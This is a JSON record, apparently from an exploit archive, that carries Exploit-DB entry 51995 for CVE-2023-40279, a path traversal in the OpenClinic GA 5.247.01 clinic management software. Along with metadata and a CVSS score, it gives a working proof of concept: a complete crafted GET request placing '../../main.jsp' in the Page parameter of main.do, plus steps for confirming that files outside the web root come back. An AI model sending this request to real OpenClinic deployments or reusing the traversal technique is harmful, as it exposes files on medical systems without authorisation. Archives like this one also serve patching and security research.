{"exploit":{"id":"EDB-51995","name":"OpenClinic GA 5.247.01 - Authenticated Path Traversal","description":"OpenClinic GA 5.247.01 - Authenticated Path Traversal","cves":["CVE-2023-40279"],"author":"VB","published":"2024-04-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51995","path":"exploits/php/webapps/51995.md","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51995.md","vulnerabilities":[{"id":"CVE-2023-40279","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in OpenClinic GA 5.247.01. An attacker can perform a directory path traversal via the Page parameter in a GET request to main.do.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2023-40279","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-40279"},"updatedAt":"2025-04-10T20:19:15.439Z","retrievedAt":"2026-11-26T18:23:09.994Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51995.png?v=2","url":"https://exploitbin.com/exploits/EDB-51995","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51995/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51995/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: OpenClinic GA 5.247.01 - Path Traversal (Authenticated)\n# Date: 2023-08-14\n# Exploit Author: V. B.\n# Vendor Homepage: https://sourceforge.net/projects/open-clinic/\n# Software Link: https://sourceforge.net/projects/open-clinic/\n# Version: OpenClinic GA 5.247.01\n# Tested on: Windows 10, Windows 11\n# CVE: CVE-2023-40279\n\n# Details\nAn issue was discovered in OpenClinic GA version 5.247.01, where an attacker can perform a directory path traversal via the 'Page' parameter in a GET request to 'main.do'. This vulnerability allows for the retrieval and execution of files from arbitrary directories.\n\n# Proof of Concept (POC)\nSteps to Reproduce:\n\n- Crafting the Malicious GET Request:\n\n- Utilize a web browser or a tool capable of sending custom HTTP requests, such as curl or Burp Suite.\n- Format the GET request as follows (in this example, `../../main.jsp` is used to attempt directory traversal to access `main.jsp`):\n\nGET /openclinic/main.do?Page=../../main.jsp HTTP/1.1\nHost: 192.168.100.5:10088\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36\nConnection: close\nCookie: JSESSIONID=[SESSION ID]\nCache-Control: max-age=0\n\n2. Confirming the Vulnerability:\n- Send the crafted GET request to the target server.\n- If the server responds with the content of the requested file (e.g., `main.jsp`) from outside the intended directory, it confirms the presence of a directory path traversal vulnerability.\n- This vulnerability can lead to sensitive information disclosure or more severe attacks.","sha256":"f688cd958cd4346a17d0a7920211fb0ef6485c8e148c5367f5fc0a57760ee567","bytes":1667,"fetchedAt":"2026-11-27T06:13:30.716Z","encoding":"utf-8 (display only; download retains original bytes)"}